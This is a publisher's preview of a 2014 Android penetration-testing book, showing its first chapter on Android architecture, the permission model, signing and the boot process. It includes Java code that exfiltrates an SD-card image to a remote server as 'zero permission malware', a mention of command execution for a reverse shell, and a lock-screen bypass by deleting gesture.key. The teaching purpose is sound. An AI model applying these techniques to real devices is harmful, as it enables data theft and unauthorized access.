Learning Pentesting for Android Devices

3.5 (2 reviews total)
By Aditya Gupta
  • Instant online access to over 8,000+ books and videos
  • Constantly updated with 100+ new titles each month
  • Breadth and depth in over 1,000+ technologies
  1. Getting Started with Android Security

About this book

Android is the most popular mobile smartphone operating system at present, with over a million applications. Every day hundreds of applications are published to the PlayStore, which users from all over the world download and use. Often, these applications have serious security weaknesses in them, which could lead an attacker to exploit the application and get access to sensitive information. This is where penetration testing comes into play to check for various vulnerabilities.

Learning Pentesting for Android is a practical and hands-on guide to take you from the very basic level of Android Security gradually to pentesting and auditing Android. It is a step-by-step guide, covering a variety of techniques and methodologies that you can learn and use in order to perform real life penetration testing on Android devices and applications.

The book starts with the basics of Android Security and the permission model, which we will bypass using a custom application, written by us. Thereafter we will move to the internals of Android applications from a security point of view, and will reverse and audit them to find the security weaknesses using manual analysis as well as using automated tools.

We will then move to a dynamic analysis of Android applications, where we will learn how to capture and analyze network traffic on Android devices and extract sensitive information and files from a packet capture from an Android device. We will then learn some different ways of doing Android forensics and use tools such as Lime and Volatility. After that, we will look into SQLite databases, and learn to find and exploit the injection vulnerabilities. Also, we will look into webkit-based vulnerabilities; root exploits, and how to exploit devices to get full access along with a reverse connect shell. Finally, we will learn how to write a penetration testing report for an Android application auditing project.

Publication date:
March 2014
Publisher
Packt
Pages
154
ISBN
9781783288984

 

Chapter 1. Getting Started with Android Security

Android is one of the most popular smartphone operating systems of the present day. Along with popularity, there are a lot of security risks that inevidently get introduced into the applications as well, making the user in itself at threat. We will cover each aspect of Android application security and pentesting in a methodogical and gradual approach in this book.

In this chapter, you'll learn the following topics:

  • The basics of Android and its security model

  • The Android architecture, including its individual components and layers

  • How to use Android Debug Bridge (adb) and interact with the device

The goal of this chapter is to set a foundation for Android security, which could then be used in the upcoming chapters.

 

Introduction to Android


Since Android got acquired by Google (in 2005) and Google undertook its entire development, a lot has changed in the last 9 years, especially in terms of security. Right now, it is the world's most widely used smartphone platform especially due to the support by different handset manufacturers, such as LG, Samsung, Sony, and HTC. A lot of new concepts have been introduced in the subsequent releases of Android such as Google Bouncer and Google App Verifier. We will go through each of them one by one in this chapter.

If we have a look at the architecture of Android as shown in the following figure, we will see that it is divided into four different layers. At the bottom of it sits the Linux kernel, which has been modified for better performance in a mobile environment. The Linux kernel also has to interact with all the hardware components, and thus contains most of the hardware drivers as well. Also, it is responsible for most of the security features that are present in Android. Since, Android is based on a Linux platform, it also makes porting of Android to other platforms and architectures much easier for developers. Android also provides a Hardware Abstraction Layer for the developers to create software hooks between the Android Platform Stack and the hardware they want it to port.

On top of Linux kernel sits a layer that contains some of the most important and useful libraries as follows:

  • Surface Manager: This manages the windows and screens

  • Media Framework: This allows the use of various types of codecs for playback and recording of different media

  • SQLite: This is a lighter version of SQL used for database management

  • WebKit: This is the browser rendering engine

  • OpenGL: This is used to render 2D and 3D contents on the screen properly

The following is a graphical representation of the Android architecture from the Android developer's website:

The libraries in Android are written in C and C++, most of which are ported from Linux. One of the major differences in Android compared to the Linux is that there is no libc library here, which is used for most of the tasks in Linux. Instead, Android has its own library called bionic, which we could think of as a stripped down and modified version of libc for Android.

At the same level, there are also components from the Android Runtime— Dalvik Virtual Machine and Core Libraries. We will discuss a lot about Dalvik Virtual Machine in the upcoming sections of the book.

On top of this layer, there is the application framework layer, which supports the application to carry out different kinds of tasks.

Also, most of the applications created by developers only interact with the first and topmost layer, the applications. The architecture is designed in such a way that at every point of time, the bottom layer supports the above layer and so on.

The earlier versions of Android (<4.0) were based on Linux kernel 2.6.x whereas the newer versions are based on kernel 3.x. A list of different Android versions and the Linux kernel they used are specified as follows:

All the applications in Android run under a virtual environment, which is called Dalvik Virtual Machine (DVM). An important point to note here is that from Android Version 4.4, there is also the availability of another runtime called Android Runtime (ART), and the user is free to switch between the DVM and the ART runtime environments.

However, for this book, we'll be focusing only on the Dalvik Virtual Machine implementation. It is similar to Java Virtual Machine (JVM), apart from features such as it is register-based, instead of stack-based. So, each and every application that runs will run under its own instance of Dalvik Virtual Machine. So, if we are running three different applications, there will be three different virtual instances. Now, the point to focus here is even though it creates a virtual environment for the applications to run, it shouldn't be confused with a secure container or a security environment. The prime focus of the DVM is performance-related, and not security-related.

The Dalvik Virtual Machine executes a file format called .dex or Dalvik Executable. We will look more into the .dex file format and will analyze it in the upcoming chapters as well. Let's now go ahead and interact with adb, and analyze an Android device and its architecture more deeply.

 

Digging deeper into Android


If you have an Android device or are running an Android emulator, you could use a utility provided with the Android SDK itself called the adb. We will discuss adb more in the second chapter. For now, we will just set up the SDK and we are ready to go.

Once the device is connected via a USB, we could simply type in adb devices in our terminal, which will show us the list of serial number of the devices attached. Make sure you have also turned on USB debugging in your device settings.

$ adb devices
List of devices attached
emulator-5554   device

Tip

Downloading the example code

You can download the example code files for all Packt books you have purchased from your account at http://www.packtpub.com. If you purchased this book elsewhere, you can visit http://www.packtpub.com/support and register to have the files e-mailed directly to you.

Now, as we have seen before, Android is based on a Linux kernel, so most Linux commands would work perfectly fine on Android as well via an adb shell. The adb shell gives you a direct shell interaction with the device where you can execute commands and perform actions as well as analyze information present in the device. In order to execute the shell, simply need to type in the following command:

adb shell.

Once we are in the shell, we could run ps in order to list the running processes:

As you can see, ps will list all the processes currently running in the Android system. If you look carefully, the first column specifies the username. Here we can see a variety of usernames, such as system, root, radio, and a series of users with the initials app_. As you might have guessed, the processes running with the name of the system are owned by the system, root are running as root processes, radio are the processes related to telephony and radio, and app_ processes are all the applications the user has downloaded and installed on their device and are currently running. So, just like in Linux where a user identifies a unique user who is currently logged in to the system, in Android, a user identifies an application/process that is running in its own environment.

So, the core of the Android security model is Linux privilege separation. Every time a new application is initiated in the Android device, it is assigned a unique User ID (UID), which will further belong to some or the other group that is pre-defined.

Similar to Linux, all the binaries that you use as commands are located at /system/bin and /system/xbin. Also, the application's data that we install from the Play Store or any other source will be located at /data/data, whereas their original installation file, that is, .apk will be stored at /data/app. Also, there are some applications that need to be purchased from the Play Store instead of just downloading it for free. These applications will be stored at /data/app-private/.

Android Package (APK) is the default extension for the Android applications, which is just an archive file that contains all the necessary files and folders of the application. We will go ahead and reverse engineer the .apk files as well in the coming chapters.

Now, let's go to /data/data and see what is in there. An important point to note here is in order to do this on a real device, the device needs to be rooted and must be in the su mode:

# cd /data/data
# ls
com.aditya.facebookapp
com.aditya.spinnermenu
com.aditya.zeropermission
com.afe.socketapp
com.android.backupconfirm
com.android.browser
com.android.calculator2
com.android.calendar
com.android.camera
com.android.certinstaller
com.android.classic
com.android.contacts
com.android.customlocale2

So, what we see here, for example, com.aditya.facebookapp, are individual application folders. Now, you may wonder why, instead of having common folder names such as FacebookApp or CameraApp, it is written in a style of words separated by dots. So, these folder names specify the package name of the individual applications. Package name is a unique identifier that applications are identified by on the Play Store as well as the device. For example, there might be a number of camera applications or calculator applications with the same name. Hence, in order to uniquely identify different applications, the package name convention is used instead of the normal application names.

If we go inside any of the application folders, we would see different subfolders, such as files, databases, and cache, which we will be looking at later on in the Auditing Android applications section, of Chapter 3, Reversing and Auditing Android Apps.

[email protected]:/data/data/de.trier.infsec.koch.droidsheep # ls
cache
databases
files
lib
[email protected]:/data/data/de.trier.infsec.koch.droidsheep # 

An important thing to note here is that if the phone is rooted, we could modify any of the files present in the filesystem. Rooting a device means we have full access and control over the entire device, which means we could see as well as modify any files we wish.

One of the most common security protections most people think of is the pattern lock or the pin lock present by default in all Android phones. You could set up your own pattern by navigating to Settings | Security | Screen Lock.

Once we have set up the password or pattern lock, we will now go ahead and connect the phone with a USB to our system. Now, the password lock key or pattern lock pattern data is stored at /data/system with the name password.key or gesture.key. Note that, if the device is locked, as well as the USB debugging is turned on, you will need a custom bootloader to turn the USB debugging on. The entire process is beyond the scope of this book. To learn more about Android, refer to Defcon presentation by Thomas Cannon Digging.

Since cracking the password/pattern will be tougher and would need brute force (we will see how to decrypt the actual data later on), we will simply go ahead and remove the file, and that will remove the pattern protection for us from the phone:

[email protected]:/data # cd /data/system
[email protected]:/data/system # rm gesture.key

So, as we can see that once the phone is rooted, almost anything could be done with the phone with just a USB cable and a system. We will see more about USB-based exploitation in the upcoming chapters of this book.

 

Sandboxing and the permission model


In order to understand Android Sandboxing, let's take an example with the following figure:

As explained in the preceding figure and discussed earlier, each application in Android runs in its own instance of Dalvik Virtual Machine. This is why, any time any application in our device crashes, it simply shows a Force close or Wait option, but the other applications continue running smoothly. Also, since each application is running in its own instance, it won't be able to access the other application's data unless otherwise specified by the content providers.

Android uses a fine-grained permission model, which requires the application to predefine the permission before compiling the final application package.

You must have noticed that every time you download applications from the Play Store or any other source, it shows a permission screen while installing, which looks similar to the following screenshot:

This permission screen shows a list of all the tasks that the application can do with the phone, such as sending SMS, accessing the Internet, and accessing the camera. Asking for more permissions than required by an application makes it a more attractive target for malware authors.

An Android application developer has to specify all of these permissions while developing the application, in a file called AndroidManifest.xml. This file contains a list of various application-related information such as the minimum Android version required to run the program, the package name, the list of activities (screens in the application visible to the user), services (background processes of the application), and permissions required. If an app developer fails to specify the permission in the AndroidManifest.xml file and still uses it in the application, the application will simply crash and show a Force close message when the user runs it.

A normal AndroidManifest.xml file looks like the one shown in the following screenshot. Here, you can see the different permissions required with the <uses-permission> tag and the other tags:

As previously discussed, all the Android applications are assigned a unique UID when they are first started after being installed. All the users with a given UID belong to a particular group depending on the permissions they ask for. For example, an application asking for just the Internet permission would belong to the inet group, as the Internet permission in Android comes under the inet group.

A user (application in this case) can belong to multiple groups depending on the permissions they ask for. Or in other words, each user could belong to multiple groups, and each group can have multiple users. The groups have a unique name defined by the Group ID (GID). The developer could, however, specify explicitly for his other applications to run under the same UID as the first one. The groups and the permissions inside it are specified in the file in our device named platform.xml located at /system/etc/permissions/:

[email protected]:/system/etc/permissions $ cat platform.xml
<permissions>

. . .
   <!-- ================================================================== -->

    <!-- The following tags are associating low-level group IDs with
         permission names. By specifying such a mapping, you are saying
         that any application process granted the given permission will
         also be running with the given group ID attached to its process,
         so it can perform any filesystem (read, write, execute) operations
         allowed for that group. -->

    <permission name="android.permission.BLUETOOTH" >
        <group gid="net_bt" />
    </permission>

    <permission name="android.permission.INTERNET" >
        <group gid="inet" />
    </permission>

    <permission name="android.permission.CAMERA" >
        <group gid="camera" />
    </permission>

. . .  [Some of the data has been stripped from here in order to shorten the output and make it readable]
 
</permissions>

Also, this clears up the doubt for the native applications running in Android devices. Since the native applications interact directly with the processor, rather than running under the Dalvik Virtual Machine, it will not affect the overall security model in any manner.

Now, just like we saw in the earlier section, the application will store its data at location /data/data/[package name]. Now, all the folders that store the data for the application will also have the same user ID, which forms the basis of the Android security model. Depending on the UID and the file permissions, it will restrict its access and modification from other applications with a different UID.

However, one could read the contents of an SD card without requiring any kind of permission. Also, once the attacker has the data, they could open up a browser and send the data with a POST/GET request to a remote server, where it will be saved. In this way, zero permission malware could be made.

In the following code sample, ret contains the image stored in the SD card encoded in the Base64 format, which is now being uploaded to the attify.com website using the browser call. The intent is just to find a way to communicate between two different Android objects.

We will first create an object to store the image, encode it in Base64, and finally store it in a string imageString:

final File file = new File("/mnt/sdcard/profile.jpg");Uri uri = Uri.fromFile(file);
ContentResolver cr = getContentResolver();
Bitmap bMap=null;
try {
   InputStream is = cr.openInputStream(uri);
   bMap = BitmapFactory.decodeStream(is);
   if (is != null) {
        is.close();
               }  
    } catch (Exception e) {
   Log.e("Error reading file", e.toString());
               }

ByteArrayOutputStream baos = new ByteArrayOutputStream();  
bMap.compress(Bitmap.CompressFormat.JPEG, 100, baos);   
byte[] b = baos.toByteArray();
String imageString = Base64.encodeToString(b,Base64.DEFAULT);

Finally, we will launch the browser to send the data to our server, where we have a .php file listening for incoming data:

startActivity(new Intent(Intent.ACTION_VIEW,Uri.parse("http://attify.com/up.php?u="+imageString)));

We could also execute commands and send the output to the remote server in the same fashion. However, an important point to note here is that the shell would be running under the user of the application:

To execute commands : 
String str = "cat /proc/version";     //command to be executed is stored in str.
process = Runtime.getRuntime().exec(str);

This is an interesting fact, considering an attacker could get a reverse shell (which is a two-way connection from the device to the system and could be used to execute commands) using this technique without the need for any kind of permissions.

 

Application signing


Application signing is one of the unique features of Android, which has led to its success due to its openness and its developer community. There are over a million apps in the Play Store. In Android, anyone can create an Android application by downloading the Android SDK, and then publish it on the Play Store. There are two types of certificate signing mechanisms in general. One is signed by a governing Certificate Authority(CA)and the other is a Self-signed certificate. There is no intermediate Certificate Authority (CA), whereas developers could create their own certificates and sign the application.

The CA signing is seen in the Apple's iOS application model, in which every application that a developer uploads to the App Store is verified and then signed by the Apple's Certificate. Once it is downloaded to a device, the device verifies whether the application is signed by the Apple's CA, and only then allows the application to run.

However, in Android it is the opposite. There is no Certificate Authority; instead the developer's self-created certificate could sign the applications. Once the application has been uploaded, it goes for verification to Google Bouncer, which is a virtual environment created to check whether an application is malicious or legitimate. Once the check is done, the app then appears in the Play Store. Google does no signing of the application in this case. Developers could create their own certificate using a tool that comes with the Android SDK called the keytool, or could use Eclipse's GUI for creation of the certificate.

So in Android, once a developer has signed an application with the certificate he has created, he needs to keep the key of the certificate in a secure place to prevent someone else to be able to steal his keys and sign other applications with the developer's certificate.

If we have an Android application (.apk) file, we could check the signature of the application and find out who signed the application using a tool known as jarsigner, which comes along with the Android SDK:

$ jarsigner -verify -certs -verbose testing.apk

The following is a screenshot of running the preceding command on the application, and getting the information about the signature:

Also, one could parse out the ASCII content of the CERT.RSA file present in the META-INF folder after unzipping the .apk file in order to get the signature, as shown in the following command:

$ unzip testing.apk
$ cd META-INF
$ openssl pkcs7 -in CERT.RSA -print_certs -inform DER -out out.cer
$ cat out.cer

This is very useful when it comes to detecting and analyzing an unknown Android .apk sample. Thus, using this we will have the information about who signed it, and other details.

 

Android startup process


One of the most important things when considering security in Android is the Android startup process. The entire bootup process starts with the bootloader, which in turn starts the init process—the first userland process.

So, any change in bootloader, or if we loaded up another bootloader instead of the one present by default, we could actually change what is being loaded on the device. The bootloader is normally vendor-specific, and every vendor has their own modified version of the bootloader. Usually, this functionality is disabled by default by having a locked bootloader, which allows only the trusted kernel specified by the vendor to run on the device. In order to flash your own ROM to the Android device, the bootloader needs to be unlocked. The process of unlocking a bootloader might differ from device to device. In some cases, it could also void the warranty of devices.

Note

In Nexus 7, it is as simple as using the fastboot utility from the command line as follows:

$ fastboot oem unlock

In other devices, it might need much more effort. We will have a look at creating our own bootloader and using it in the upcoming chapters of the book.

Coming back to the bootup process, after the bootloader boots up the kernel, and launches init, it mounts some of the important directories required for the functioning of the Android system such as /dev, /sys, and /proc. Also, init takes the configuration for itself from the configuration files init.rc and init.[device-name].rc, and in some cases from the .sh files located at the same location.

If we do a cat of the init.rc file, we could see all the specifications that are used by init while loading itself, as shown in the following screenshot:

It is the responsibility of the init process to startup other necessary components, such as the adb daemon (adbd), which is responsible for the ADB communication and the volume daemon (vold).

Some of the properties that are used while loading up are in build.prop, located at location/system. It is the completion of loading of the init process, when you see the Android logo on your Android device. As we can see in the following screenshot, we get specific information about the device, by checking the build.prop file:

Once everything is loaded, init finally loads up a process known as Zygote, which is responsible for loading up the Dalvik Virtual Machines with shared libraries and minimum footprint to enable faster loading of the overall processes. Also, it keeps listening for new calls to itself in order to launch more DVMs if necessary. This is when you see the Android boot animation on your device.

Once fully launched, Zygote forks itself and launches the system, which loads up the other necessary Android components such as the Activity Manager. Once the entire bootup process has been completed, the system sends the broadcast of BOOT_COMPLETED, which many applications might be listening to using a component in Android applications called the Broadcast Receiver. We will learn more about Broadcast Receivers when we analyze malware and applications in Chapter 3, Reversing and Auditing Android Apps.

 

Summary


In this chapter, we set up the building blocks to learn Android Penetration Testing. We also got to know about the internals of Android and its security architecture.

In the upcoming chapters, we will set up an Android penetration testing lab and use this knowledge to carry out more technical tasks in order to pentest Android devices and applications. We will also learn more about ADB and use it to gather and analyze information from the device.

About the Author

  • Aditya Gupta

    Aditya Gupta is the founder of Attify, and an IoT and mobile security researcher. He is also the creator of the popular training course Offensive IoT Exploitation, and the founder of the online store for hackers Attify-Store.

    Gupta has also published security research papers, authored tools, and spoken numerous times at conferences such as BlackHat, DefCon, OWASP AppSec, ToorCon, and more.

    In his previous roles, he has worked with various organizations helping to build their security infrastructure and internal automation tools, identify vulnerabilities in web and mobile applications, and lead security planning.

    He can be reached out to on Twitter at @adi1391 and over email at [email protected]

    Browse publications by this author

Latest Reviews

(2 reviews total)
Excellent
Author is not very good at explaining where they are headed or overall concept. Very dry but decent reference for android tools

Recommended For You

Book Title
Access this book, plus 8,000 other titles for FREE
Access now